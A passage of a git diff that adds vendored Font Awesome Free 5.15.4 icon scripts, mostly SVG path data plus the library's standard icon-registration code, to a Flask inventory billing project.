48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z" ], + "share-square": [ 576, 512, [], "f14d", "M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z" ], + smile: [ 496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z" ], + "smile-beam": [ 496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z" ], + "smile-wink": [ 496, 512, [], "f4da", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z" ], + snowflake: [ 448, 512, [], "f2dc", "M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z" ], + square: [ 448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z" ], + star: [ 576, 512, [], "f005", "M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z" ], + "star-half": [ 576, 512, [], "f089", "M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z" ], + "sticky-note": [ 448, 512, [], "f249", "M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z" ], + "stop-circle": [ 512, 512, [], "f28d", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z" ], + sun: [ 512, 512, [], "f185", "M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z" ], + surprise: [ 496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "thumbs-down": [ 512, 512, [], "f165", "M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z" ], + "thumbs-up": [ 512, 512, [], "f164", "M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" ], + "times-circle": [ 512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z" ], + tired: [ 496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z" ], + "trash-alt": [ 448, 512, [], "f2ed", "M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z" ], + user: [ 448, 512, [], "f007", "M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z" ], + "user-circle": [ 496, 512, [], "f2bd", "M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z" ], + "window-close": [ 512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z" ], + "window-maximize": [ 512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z" ], + "window-minimize": [ 512, 512, [], "f2d1", "M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z" ], + "window-restore": [ 512, 512, [], "f2d2", "M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!M) throw c; + } + }(function() { + V("far", e); + }); +}(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.js new file mode 100644 index 00000000..8c065a26 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.js @@ -0,0 +1,1130 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "ad": [512, 512, [], "f641", "M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z"], + "address-book": [448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "address-card": [576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"], + "adjust": [512, 512, [], "f042", "M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z"], + "air-freshener": [512, 512, [], "f5d0", "M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z"], + "align-center": [448, 512, [], "f037", "M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z"], + "align-justify": [448, 512, [], "f039", "M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 